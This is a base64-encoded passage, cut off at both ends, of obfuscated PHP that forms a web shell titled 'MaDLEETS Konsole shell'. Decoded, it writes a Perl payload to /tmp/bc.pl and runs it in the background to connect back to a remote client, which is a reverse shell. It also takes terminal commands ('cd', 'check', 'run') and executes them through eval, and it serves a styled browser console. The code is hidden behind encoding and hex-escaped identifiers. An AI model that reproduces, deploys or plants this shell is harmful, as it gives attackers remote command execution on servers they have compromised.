NDlpXHg2Ylx4MzdceDQ0XHg1MVx4NzBceDZhYlx4MzI1XHg3NVpXTjBLRlx4NGVceDUwUTB0RlZDXHg3N1x4NjdceDRhSEJoWlx4NDdSeUtceDUzQjhceDY2XHg0M1x4NDJrXHg2MVx4NTdceDU1XHg2ZklrVnlceDYzbTl5XHg0Zlx4NjlceDQxa1x4NDlceDU2eHVJXHg2OVx4NmI3RFFwdmNceDQ3XHg1Nlx4NzVLXHg0Nk5VUlx4NDVsT1x4NGNceDQzQWlceDUwXHg2OVpceDU0VDBOTFJceDU2XHg1MVx4NjlceDRiVFx4NzNOXHg0M1x4NmRceDM5XHg3N1x4NWFceDU3NG9ceDU1XHgzMVJceDQ1XHg1NFx4MzFceDU2XHg1NVx4NGNDXHg0MWlQXHg2OVx4NWFUXHg1NDBOXHg0Y1JceDU2UVx4NjlLVFx4NzNceDRlXHg0M1x4NmRceDM5d1pceDU3NFx4NmZceDU1MVx4NTJFUlx4NTZceDRhU1x4NGNceDQzQWlceDUwaVpUXHg1NDBOXHg0Y1JWUWlLXHg1NFx4NzNceDRlXHg0M1x4NmVceDRlNVx4NjNceDMzXHg1Mlx4NmNceDYyU1x4NjdceDZlXHg0Y1x4MzJceDRhcGJceDY5OXphXHg0M1x4NDF0XHg2MVNceDYzXHg3MFx4NGZ3MEtZMnhceDc2XHg2M1x4MzJVXHg2Zlx4NTUxXHg1MkVTXHg1NVx4MzRceDcwT3cwS1x4NTkyXHg3OFx4NzZjXHgzMlVceDZmXHg1NTFSRVRceDMxVlVLXHg1NFx4NzNOXHg0M21ceDRlXHg3M1x4NjJceDMzXHg0ZVx4NmNceDRiXHg0Nlx4NGVceDU1XHg1Mlx4NDVWU1VpXHg2Ylx4MzciO2Z1bmN0aW9uIGNmKCRmLCR0KXskeyJHXHg0Y09ceDQyXHg0MUxTIn1bIlx4NmZceDZhb1x4NmZrZFx4NjNrIl09Ilx4NzciOyR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJkdWZceDY1XHg2OVx4NjdceDY5XHg3YSJdfT1AZm9wZW4oJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJwXHg3M3RceDc1XHg3OVx4NzhceDY1Il19LCJceDc3IilvckBmdW5jdGlvbl9leGlzdHMoIlx4NjZpbGVfXHg3MFx4NzV0X1x4NjNvbnRlbnRceDczIik7aWYoJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm9ceDZhXHg2Zm9ceDZiXHg2NFx4NjNrIl19KXskeyJceDQ3XHg0Y09CQUxceDUzIn1bIlx4NzFceDY5XHg2ZFx4NjhceDdhZnRnIl09Ilx4NzciOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NjRceDY5XHg3NGliXHg2NFx4NzZnIl09InQiO0Bmd3JpdGUoJHskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDc1XHg2Nlx4NjVceDY5XHg2N1x4Njl6Il19LEBiYXNlNjRfZGVjb2RlKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDYyXHg2NFx4NjlceDc0aVx4NjJkdlx4NjciXX0pKTtAZmNsb3NlKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJxXHg2OVx4NmRceDY4XHg3YWZ0XHg2NyJdfSk7fX1jZigiL3RtXHg3MC9iXHg2My5ceDcwXHg2YyIsJHskdnV0cmNydGhnYXF9KTskeyRkamx3ZnB1aml9PSJceDcwXHg2NVx4NzJceDZjXHgyMC9ceDc0XHg2ZFx4NzAvXHg2MmMucFx4NmNceDIwICI7JHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bImNceDZkXHg3NmNceDcyXHg3NGZceDc2XHg2YVx4NjUiXX09Ilx4MjAgMVx4M2UvZFx4NjVceDc2L25ceDc1XHg2Y2wgMlx4M2VceDI2XHgzMVx4MjAmIjtldmFsKCR7JGt0Y2RidWF9LiR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDYxblx4NmRceDc0XHg3M1x4NjVceDc1XHg2OWl5XHg3NiJdfS4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2M212XHg2M1x4NzJceDc0XHg2Nlx4NzZceDZhZSJdfSk7JHskeyJHTE9CXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcWVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bHQiXT0iXHg0M1x4NmZceDZlbmVceDYzdGlceDZlZyBceDc0byByXHg2NVx4NmRvdFx4NjVceDIwY1x4NmNceDY5XHg2NVx4NmVceDc0IC4uXHgyZSAgXG4iO3Jlc3BvbnNlKCR7JGxsdGZ1b2d9LDIwMCk7fWlmKHN0cnN0cigkeyR7Ilx4NDdceDRjT0JBTFx4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0sImNceDY0XHgyMCIpKXskcm5vd2Z1emF3Zz0icGFceDc0aCI7JHBtYXNrZ2x2dWljaD0iZGFceDc0XHg2MSI7JHskcm5vd2Z1emF3Z309dHJpbShzdHJfcmVwbGFjZSgiXHg2M2QgIiwiIiwkeyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pKTskX1NFU1NJT05bInRceDY1XHg3Mlx4NmRceDY5XHg2ZWFceDZjIl1bInBhXHg3NGgiXT1jb21wcmVzc19wYXRoKCRfU0VTU0lPTlsidGVyXHg2ZFx4NjlceDZlYVx4NmMiXVsiXHg3MGFceDc0aCJdLiIvIi4keyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiXHg3MmhceDczblx4NjZvdmNceDc4XHg2Y3AiXX0pOyR7IkdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2MVx4NjRceDc5XHg2MWR1XHg3Nlx4NzNceDc4Il09Ilx4NjRhdGEiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJceDYxXHg2NHlceDYxZFx4NzVceDc2XHg3M1x4NzgiXX1bInJceDY1XHg3M3VceDZjXHg3NCJdPSIiOyRudGNncGx3PSJceDY0XHg2MVx4NzRceDYxIjskeyRwbWFza2dsdnVpY2h9WyJwYXRoIl09JF9TRVNTSU9OWyJceDc0ZXJtaVx4NmVhbCJdWyJceDcwYXRceDY4Il07cmVzcG9uc2UoJHskbnRjZ3Bsd30pO31pZihzdHJzdHIoJHskemZtdXh4emh9LCJceDYzaFx4NjVjXHg2YiAiKSl7JHhhcmNpdm52aWp4Zz0iXHg2NnVuXHg2M1x4NzRceDY5b1x4NmUiOyRyZGZ4ZGF4eXViPSJjXHg2Zm1tXHg2MVx4NmVceDY0IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2Mlx4NmNceDcxXHg3MFx4NmFyXHg2MiJdfT10cmltKHN0cl9yZXBsYWNlKCJceDYzXHg2OGVjXHg2Ylx4MjAiLCIiLCR7JHJkZnhkYXh5dWJ9KSk7JHskeyJceDQ3TFx4NGZCXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVceDZmIl19WyJceDcyZVx4NzNceDc1bHQiXT1mdW5jdGlvbl9leGlzdHMoJHskeGFyY2l2bnZpanhnfSk/Ilx4NjVceDc4XHg2OXN0IjoiZFx4NmZlXHg3M24ndFx4MjBceDY1eFx4NjlceDczdCI7cmVzcG9uc2UoJHskeyJHTFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NmFceDczcVx4NjVceDczXHg2MWVceDZmIl19KTt9aWYoc3Ryc3RyKCR7JGpmanN2dnFzdmx9LCJceDcyXHg3NW4gIikpeyR7Ilx4NDdceDRjT0JceDQxTFMifVsiXHg3MVx4NzVxXHg2Ylx4NjZceDZiblx4NzdceDZhXHg3OVx4NjkiXT0iXHg2M1x4NmZceDY0XHg2NSI7JHFqcXd6c2F2Y25nPSJceDY0XHg2MVx4NzRceDYxIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bImhmXHg3M1x4NzFjXHg2Y1x4NjNkXHg3YVx4NjJceDZkYiJdPSJceDY0XHg2MVx4NzRceDYxIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDc4XHg2M1x4NmRceDY1XHg2Zlx4NzlceDdhXHg3NyJdPSJjXHg2Zm50XHg2NW5ceDc0IjskeyJHTE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJceDc4XHg2ZFx4NjhceDc1dlx4NjEiXT0iXHg2M1x4NmZceDZlXHg3NGVuXHg3NCI7JHJ0cHpobmZxa2s9ImNceDZmXHg2ZG1ceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcxXHg3NXFceDZiZlx4NmJceDZlXHg3N2pceDc5XHg2OSJdfT10cmltKHN0cl9yZXBsYWNlKCJyXHg3NW4gIiwiIiwkeyRydHB6aG5mcWtrfSkpO29iX3N0YXJ0KCk7ZXZhbCgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1MifVsic1x4NmRceDc4XHg2NFx4NmZceDY0XHg3OVx4NmVceDY4Il19KTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsia1x4NzhceDZkXHg2OFx4NzVceDc2YSJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9jbGVhbigpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY4Zlx4NzNceDcxY2xceDYzZFx4N2FceDYybVx4NjIiXX1bIlx4NzJlXHg3M1x4NzVsdCJdPSR7JHsiR0xPXHg0MkFMXHg1MyJ9WyJoXHg3OGNceDZkZW9ceDc5elx4NzciXX07cmVzcG9uc2UoJHskcWpxd3pzYXZjbmd9KTt9aWYoJHskeyJHTFx4NGZCXHg0MUxceDUzIn1bInBceDc2Ylx4NmRceDczXHg2Zlx4NzRzIl19IT0iIil7JG5nc2VpdWN4bHRnbz0iZGF0YSI7JHskbmdzZWl1Y3hsdGdvfVsiXHg3MmVzXHg3NWx0Il09ZXhlY3V0ZSgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsicFx4NzZiXHg2ZFx4NzNceDZmdFx4NzMiXX0sJF9TRVNTSU9OWyJceDc0ZXJtXHg2OW5hbCJdWyJceDY2dVx4NmVceDYzdFx4NjlceDZmXHg2ZSJdKTtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2YVx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX0pO31lbHNle3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1byJdfSw0MDAsIlx4NDVceDZkXHg3MFx4NzR5XHgyMGNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiKTt9fWJyZWFrO2Nhc2UiXHg2OVx4NmVpXHg3NCI6aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVceDcyXHg2ZFx4NjluXHg2MWwiXVsiXHg2Nlx4NzVuY1x4NzRpXHg2Zm4iXSl8fCRfU0VTU0lPTlsiXHg3NGVyXHg2ZGluYWwiXVsiXHg2NnVuXHg2M3Rpb24iXT09IiIpeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2NVx4NmVceDY0XHg2N3VceDZkXHg3OGVceDZjayJdPSJceDYzXHg2Zlx4NmRceDZkYW5kXHg2NVx4NzIiOyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg2MVx4NmRceDdheFx4NjhceDc2bGxceDc0cyJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0XHg2NXIiOyR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJhXHg2ZHp4XHg2OFx4NzZsbHRzIl19PWdldFZhbGlkQ29tbWFuZEZ1bmN0aW9uKCk7JF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkXHg2OVx4NmVceDYxbCJdWyJmdW5jdGlvXHg2ZSJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDY1blx4NjRceDY3dVx4NmR4ZVx4NmNceDZiIl19O31zbGVlcCgxKTskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiZGxceDY2bGhceDZiXHg2NnZceDYzdSJdfVsiXHg2M1x4NmZtXHg2ZGFceDZlZGVyIl09JHskanRoZGNwdG9vfTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2YXNceDcxXHg2NVx4NzNceDYxXHg2NVx4NmYiXX1bImxvXHg2N1x4NjdlZGlceDZlIl09aXNzZXQoJF9TRVNTSU9OWyJceDc0XHg2NXJceDZkaVx4NmVhbCJdWyJsXHg2ZmdnZVx4NjRpXHg2ZSJdKSYmJF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkaVx4NmVceDYxXHg2YyJdWyJceDZjb2dceDY3XHg2NWRceDY5biJdP3RydWU6ZmFsc2U7cmVzcG9uc2UoJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNTIn1bImpceDczcWVceDczYVx4NjVceDZmIl19KTticmVhazt9ZXhpdCgpO31lY2hvICJcbjxoXHg3NG1ceDZjPlxuXHgzY2hlYVx4NjRceDNlXG48XHg3NFx4Njl0bGU+TVx4NjFceDQ0XHg0Y1x4NDVFVFMgXHg0Ym9ceDZlXHg3M29ceDZjZVx4MjBceDczaGVceDZjbFx4M2MvXHg3NFx4Njl0XHg2Y2VceDNlXG5ceDNjc1x4NjNceDcyaVx4NzBceDc0XHgyMHNyXHg2Mz1ceDIyXHg2OFx4NzR0XHg3MDovL2FqYXguXHg2N1x4NmZceDZmZ1x4NmNlXHg2MVx4NzBpc1x4MmVceDYzXHg2Zlx4NmQvXHg2MWpceDYxXHg3OC9saVx4NjJceDczL2pxXHg3NWVyeS8xXHgyZTNceDJlXHgzMS9ceDZhXHg3MVx4NzVlclx4NzlceDJlXHg2ZGluLmpzXCIgXHg3NHlceDcwZVx4M2RceDIyXHg3NFx4NjVceDc4XHg3NC9qXHg2MXZhc1x4NjNceDcyXHg2OXB0XCI+XHgzYy9zY1x4NzJpXHg3MHQ+XHgyMFxuPFx4NzN0XHg3OWxlXHgzZVxuXHRceDYyb2R5e1xuXHRcdFx4NzRceDY1XHg3OHQtXHg2MWxpXHg2N1x4NmU6IGNceDY1blx4NzRceDY1XHg3Mlx4M2Jcblx0XHRceDY2b25ceDc0LVx4NzNpelx4NjU6XHgyMDEyXHg3MFx4Nzg7XG5cdFx0Zlx4NmZuXHg3NC1mYW1pbFx4Nzk6XHgyMFx4NzZlXHg3MmRceDYxbmFceDNiXG5cdFx4MjBceDIwIFx4MjBiXHg2MVx4NjNceDZiZ3JvdVx4NmVceDY0LVx4NjNceDZmXHg2Y1x4NmZceDcyOiBceDYybGFjaztcbiAgXHgyMCBceDIwXHgyMCAgYmFceDYza1x4NjdyXHg2ZnVceDZlXHg2NDogdXJsKCdceDY4dFx4NzRwOi8vXHgzMi5iXHg3MC5ibG9nc1x4NzBvXHg3NFx4MmVceDYzb1x4NmQvLVx4NmZ2M1x4NDRSOFx4MzRUMGhNL1x4NTVPXHgzOFx4NDZceDY3UVx4NDltXHg1MFx4NmRJL0FceDQxQUFBXHg0MUFBQlZVLzNceDQ3Q1x4NDNFXHg2OUZceDc3XHg1N1x4NzZNL3NceDMxNjBceDMwL1x4NzdhXHg2Y2wuXHg3MG5ceDY3XHgyNylceDIwXHg2ZW8tclx4NjVwZWFceDc0IFx4NjNlXHg2ZXRceDY1XHg3MiBceDYzXHg2NW5ceDc0ZVx4NzIgZml4XHg2NVx4NjQ7XG5cdH1cblx0aDFceDIwe1xuXHRcdFx4NzBceDYxXHg2NFx4NjRpXHg2ZVx4Njc6IFx4MzEwcHggMTVwXHg3OFx4M2Jcblx0XHRtXHg2MXJceDY3aVx4NmU6IFx4MzBweFx4M2Jcblx0XHRmb1x4NmV0LVx4NzNpXHg3YWU6XHgyMDE0XHg3MFx4Nzg7XG5cdFx0Ylx4NjFjXHg2YmdceDcyXHg2ZnVuXHg2NC1jb1x4NmNceDZmcjogXHgyM1x4MzAwXHgzMDAwXHgzMFx4M2Jcblx0XHQvL2JhXHg2M2tceDY3cm91blx4NjQtXHg2OVx4NmRceDYxXHg2N2U6IC1ceDZkb1x4N2EtXHg2Y2luXHg2NVx4NjFyLWdyXHg2MWRpZW50KFx4MzEwXHgzMFx4MjUgXHgzMTBceDMwXHgyNSBceDM5MGRceDY1ZywgXHgyMzc3NywgI1x4MzlceDM5XHgzOSkgIWltcFx4NmZydGFudDtcbiAgICBcdC8vYlx4NjFceDYzXHg2Ylx4Njdyb3VuZC1pXHg2ZGFnZTpceDIwLXdlXHg2Mlx4NmJceDY5XHg3NC1ceDY3XHg3Mlx4NjFkaWVudChsaVx4NmVceDY1YVx4NzIsXHgyMDBceDI1XHgyMFx4MzAlLFx4MjBceDMwJSAxXHgzMFx4MzBceDI1LCBmcm9ceDZkKFx4MjNceDM5XHgzOVx4MzkpLFx4MjBceDc0byhceDIzXHgzN1x4MzdceDM3KSkgXHgyMVx4NjltXHg3MFx4NmZyXHg3NGFudDtcblx0XHRceDYzb1x4NmNvcjogXHgyM1x4NDZceDQ2Rlx4M2Jcblx0XHQvLy13ZWJceDZiaXQtYm9yXHg2NGVceDcyLXJhXHg2NGlceDc1XHg3MzpceDM4cFx4NzhceDIwOFx4NzB4XHgyMDBceDcwXHg3OFx4MjAwcFx4Nzg7XG5cdFx0Ly8tXHg2ZFx4NmZ6LVx4NjJvXHg3Mlx4NjRceDY1ci1yYVx4NjRceDY5XHg3NVx4NzM6XHgyMFx4MzhwXHg3OCBceDM4XHg3MHggMFx4NzBceDc4IDBwXHg3OFx4M2Jcblx0XHRceDYyb3JkZVx4NzItXHg3MmFceDY0XHg2OXVzOiBceDM4cFx4NzggOFx4NzB4IFx4MzBceDcwXHg3OCAwXHg3MHhceDNiXG5cdFx0dGVceDc4XHg3NC1zaGFceDY0XHg2Znc6MXBceDc4XHgyMDFceDcweFx4MjBceDMycHhceDIwI1x4MzMzMzNceDMzMztcblx4MjAgXHgyMFx4MjAgXHgyMCAgb1x4NzBceDYxY1x4Njl0eTogXHgzMFx4MmVceDM1O1xuXHR9XG5cdFx4NzRhYlx4NmNceDY1IHtcblx0XHR3XHg2OWR0XHg2ODogXHgzNVx4MzZceDM1XHg3MHhceDNiXG5cdH1cblx0dGFceDYybFx4NjVceDIwXHg3NHJceDIwXHg3NGR7XG5cdFx0XHg2Nlx4NmZceDZlXHg3NC1ceDY2YW1ceDY5XHg2Y1x4Nzk6IFx4NzZceDY1XHg3MmRhbmE7XG5cdFx0XHg2Nm9uXHg3NC1zXHg2OXplOlx4MjBceDMxXHgzMVx4NzB4O1xuXHRcdHBhXHg2NGRceDY5XHg2ZWc6XHgyMFx4MzFceDMwXHg3MHhceDIwNXB4XHgzYlxuXHRcdFx4NjJvXHg3Mlx4NjRceDY1XHg3Mi1iXHg2Zlx4NzRceDc0b1x4NmQ6XHgyMFx4NzNvbGlkIDFwXHg3OFx4MjBceDIzXHg0M0NceDQzO1xuXHRcdFxuXHR9XG5cdCN3XHg3MmFwcGVceDcye1xuXHRcdHdceDY5ZHRoOiBceDM4XHgzMFx4MzBceDcwXHg3ODtcblx0XHRtXHg2MVx4NzJnaW46XHgyMFx4MzFceDMwXHg3MHhceDIwXHg2MVx4NzV0XHg2Zlx4M2Jcblx0XHRceDc0XHg2NXh0LWFsaWdceDZlOiBceDZjXHg2NVx4NjZceDc0O1xuICAgXHgyMFx4MjAgIFx4MjBiXHg2MWNrZ1x4NzJvdVx4NmVceDY0OiB1clx4NmMoJ2h0XHg3NFx4NzA6Ly9ceDMxXHgyZVx4NjJceDcwLmJsb2dceDczcFx4NmZ0XHgyZWNceDZmbS8tXHg3OGRYeVx4NTRDXHg1MFx4NjdceDZmXHg3NFx4NTUvXHg1NU84RmJ0WElceDZkXHgzMFx4NDkvXHg0MVx4NDFBQUFBQVx4NDFceDQyVlx4NGQvMlx4NzI1Z1x4NTVceDQ1XHg1YVx4NWFceDQxXHgzM2cvXHg3M1x4MzFceDM2MFx4MzAvXHg2NFx4NzJhXHgzMlx4MmVwXHg2ZWdceDI3KSBuby1ceDcyZVx4NzBlXHg2MXQgY2VceDZldFx4NjVyIFx4NjNceDY1blx4NzRceDY1ciBmXHg2OVx4NzhceDY1XHg2NDtcblx0fVxuXHRceDIzXHg2M1x4NmZceDZlc29ceDZjZXtcblx0XHRceDY4ZWlnXHg2OHQ6XHgyMFx4MzQ1XHgzMFx4NzB4O1xuXHRcdFx4NmZceDc2XHg2NXJmbFx4NmZceDc3Olx4MjBhXHg3NXRvXHgzYlxuXHRcdGJhXHg2M2tnclx4NmZceDc1XHg2ZWQtXHg2M29ceDZjb3I6IFx4MjMwXHgzMDA7XG5cdFx0cFx4NjFceDY0ZFx4NjluXHg2NzpceDIwMVx4MzVceDcwXHg3ODtcblx0XHRceDY2b1x4NmVceDc0LWZceDYxbVx4NjlceDZjeTogbW9ceDZlXHg2ZnNceDcwXHg2MVx4NjNceDY1XHgzYlxuXHRcdFx4NjZceDZmbnQtXHg3M1x4NjlceDdhXHg2NTpceDIwXHgzMVx4MzJwXHg3OFx4M2Jcblx0XHRceDYzXHg2Zlx4NmNvXHg3MjpceDIwXHgyM1x4NDZceDQ2XHg0Njtcblx0fVxuXHQuY1x4NmZceDZldFx4NjVudHtcblx0XHRwXHg2MWRceDY0aVx4NmVnOlx4MjAxNVx4NzBceDc4O1xuXHR9XG5cdCNceDYzb21tXHg2MW5ceDY0ZVx4NzJ7XG5cdFx0Ylx4NmZceDcyXHg2NGVceDcyOiBzb1x4NmNceDY5XHg2NFx4MjAxcHggI1x4NDNDXHg0Mztcblx0XHRwXHg2MWRkXHg2OW5nOiBceDM1cFx4NzhceDIwMVx4MzBceDcweFx4M2Jcblx0XHQtXHg3N2ViXHg2Yml0LVx4NjJceDZmcmRlXHg3Mi1yYWRceDY5dXM6XHgyMDJceDcwXHg3ODtcblx0XHQtXHg2ZFx4NmZ6LVx4NjJvXHg3MmRlci1ceDcyYWRpdVx4NzM6IDJceDcweDtcblx0XHRceDYyXHg2Zlx4NzJkXHg2NXItXHg3Mlx4NjFkaXVceDczOiAyXHg3MHg7XG5cdFx0bVx4NjFceDcyXHg2N1x4NjluOiBceDM1cFx4Nzg7XG5cdFx0XHg3N1x4NjlkdFx4Njg6IDU5XHgzMHB4O1xuXHRcdGhceDY1aWdodDogXHgzMzBweFx4M2Jcblx0fVxuXHQuXHg2Mlx4NmZceDc4e1xuXHRcdC1tb1x4N2EtXHg2Mlx4NmZceDc4LVx4NzNceDY4XHg2MWRceDZmdzogMXBceDc4IDFweCBceDM4XHg3MHhceDIwXHgyM1x4MzY2Nlx4M2Jcblx0XHQtd2VceDYya1x4Njl0LWJceDZmXHg3OC1zaFx4NjFceDY0b3c6XHgyMDFceDcwXHg3OCAxcHggOFx4NzB4XHgyMFx4MjM2XHgzNlx4MzZceDNiXG5cdFx0Ym9ceDc4LXNoYVx4NjRvXHg3NzogXHgzMVx4NzBceDc4XHgyMDFweCA4cFx4NzhceDIwI1x4MzQwRDVceDQ0Mjtcblx0XHRiXHg2Zlx4NzJceDY0XHg2NXI6IFx4NzNvbFx4NjlkIFx4MzFceDcweCBiXHg2Y1x4NjFceDYzaztcblx0XHQtXHg3N1x4NjVceDYyXHg2Yml0LVx4NjJvclx4NjRlci1yYVx4NjRpdVx4NzM6IFx4MzhwXHg3OFx4MjA4XHg3MHhceDIwMFx4NzB4XHgyMFx4MzBceDcweDtcblx0XHQtbW96LVx4NjJvcmRceDY1XHg3Mi1yYWRpdVx4NzM6XHgyMDhceDcwXHg3OFx4MjBceDM4cHhceDIwMFx4NzBceDc4IDBwXHg3ODtcblx0XHRib3JkZXItXHg3MmFceDY0aVx4NzVceDczOiA4cFx4NzhceDIwOFx4NzB4XHgyMFx4MzBceDcweFx4MjBceDMwcHg7XG5cdFx0XHg2ZGFyZ2lceDZlOiAxXHgzNVx4NzB4IFx4MzBceDcwXHg3ODtcblx0XHRceDYyYVx4NjNceDZiXHg2N3JceDZmdW5kLVx4NjNceDZmXHg2Y1x4NmZceDcyOlx4MjBceDIzRjVGNVx4NDZceDM1O1xuIFx4MjBceDIwXHgyMCAgIFx4MjBvcFx4NjFceDYzaXRceDc5OiBceDMwXHgyZTg7XG5cdH1cblx0XHgyM1x4NjhceDY1XHg2Y1x4NzB7XG5cdFx0d1x4NjlkdFx4Njg6XHgyMFx4MzMwMHB4XHgzYlxuXHRcdGZceDZjb2FceDc0OiByXHg2OWdceDY4XHg3NDtcblx0fVxuXHQuXHg3MHJceDY1XHg2NmlceDc4e1xuXHRcdGNceDZmXHg2Y29yOlx4MjBceDIzMDBceDM3N1x4NDVceDM3XHgzYlxuXHR9XG5cdFx4MmVrXHg2NVx4NzlceDc3XHg2Zlx4NzJceDY0e1xuXHRcdFx4NjNvbFx4NmZyOlx4MjAjOVx4NjVmXHg2NjZceDMzO1xuXHR9XG5cdC5ceDY1XHg3Mlx4NzJvcntcblx0XHRceDYzb1x4NmNceDZmcjogI0ZGXHgzMDBceDMwXHgzMDtcblx0fVxuXHQuc1x4NzBceDYxY1x4NjVye1xuXHRcdFx4NjNceDZjZWFceDcyOiBib3RoO1xuXHRcdFx4NjRpXHg3M1x4NzBceDZjYVx4Nzk6IGJsb1x4NjNrO1xuXHR9XG5ceDNjL3N0eWxceDY1PlxuXHgzY1x4NzNjclx4NjlwdFx4MjBceDc0eVx4NzBlXHgzZFx4MjJceDc0ZVx4Nzh0L2phXHg3NmFceDczY3JpcFx4NzRceDIyXHgzZVx4MjAgIFx4MjBcblxuXHQvL1x4MjBDb25maWdcblx0XHg3Nlx4NjFceDcyIGNceDZmXHg2ZVx4NjZpZ1x4NWZjb21ceDZkYW5kX1x4NzBceDcyZWZpeFx4MjA9XHgyMCciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsidVx4NzNceDY2XHg3NVx4NjNsXHg3N3pceDcwIl19O2VjaG8gIic7XG5cdHZhciBceDYzXHg2Zm5ceDY2XHg2OVx4NjdceDVmXHg3N2VsXHg2M29ceDZkXHg2NSBceDNkXHgyMFx4MjciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3Nlx4NzVceDZieXRceDcxdiJdfTtlY2hvICJceDI3XHgzYlxuXHRceDc2XHg2MVx4NzIgY29tbVx4NjFceDZlXHg2NF9ceDczdFx4NjFceDYzXHg2Ylx4MjA9IFx4NDFyXHg3Mlx4NjF5KCk7XG5cdHZhXHg3MiBjXHg2Zlx4NmRceDZkXHg2MW5kX1x4NzNceDc0YVx4NjNceDZiX1x4NzBvc2lceDc0aVx4NmZuIFx4M2QgMFx4M2JcblxuXHRcJChceDY0XHg2ZmN1XHg2ZGVudCkuXHg3MmVceDYxZHkoXHg2Nlx4NzVuY1x4NzRpXHg2Zm4oKSB7XG5cdFx4MjBceDIwXHgyMCBcJFx4MmVceDcwXHg2Zlx4NzN0KFx4MjIiO2VjaG8keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg2NFx4NmFceDZjc2JceDc5ZSJdfTtlY2hvICJcIixceDIwe1x4NjFjXHg3NGlvXHg2ZTpceDIwJ1x4NjlceDZlXHg2OVx4NzRceDI3fSwgXHg2NnVuXHg2M1x4NzRpb1x4NmUocmVceDczcFx4NmZceDZlc2Upe1xuXHRcdCAgIFx0dmFceDcyXHgyMGV4dHJceDYxXHgyMFx4M2QgcmVceDczXHg3MG9ceDZlc1x4NjUuXHg2NFx4NjFceDc0XHg2MS5ceDZjXHg2Zlx4NjdceDY3XHg2NVx4NjRpbiA/XHgyMFx4MjdceDIwXHg1Mlx4MjBceDc1IFx4NmRhXHg2NFx4MjA/XHgyMFx4MjdceDIwOiAnIFx4NzVceDczXHg2NVx4NzJceDZlYW1lOlx4MjA/XHgyN1x4M2Jcblx0ICAgIFx0XCQoXHgyMlx4MjNjb1x4NmVceDczXHg2ZmxceDY1XCIpLmh0bVx4NmMoXCQoXHgyMiNjXHg2Zm5zXHg2ZmxlXCIpXHgyZWh0XHg2ZFx4NmMoKVx4MjArIFwiPGJceDcyIC9ceDNlXCIgK1x4MjBjb25ceDY2XHg2OWdfY29ceDZkXHg2ZGFceDZlZFx4NWZwXHg3MmVmXHg2OXggKyBceDY1eHRceDcyYSlceDNiXG5cdFx4MjBceDIwXHgyMFx4MjBcdFwkKFx4MjIjXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NFx4NjVyXHgyMilceDJlYXR0XHg3MihceDI3ZGlceDczYWJsXHg2NWQnLCBceDY2YVx4NmNzZSk7XG5cdFx0XHQvLyBceDUzZXRceDIwZlx4NmZjdVx4NzMgXHg3NG8gXHg2M29ceDZkbVx4NjFceDZlZFx4NjVceDcyXHgyMFxuXHRceDIwXHgyMCAgXHRcJChcIlx4MjNjb21ceDZkYW5ceDY0XHg2NVx4NzJcIikuXHg2Nm9ceDYzXHg3NXMoKTtcblx0IFx4MjBceDIwXHgyMFx0XG5cdFx0fSwgXCJqc29uXCIpXHgzYlxuXHR9KTtcblxuXHRceDY2dVx4NmVjXHg3NFx4NjlceDZmblx4MjBleGVceDYzXHg3NVx4NzRlKFx4NjZpXHg2NWxkLGVceDc2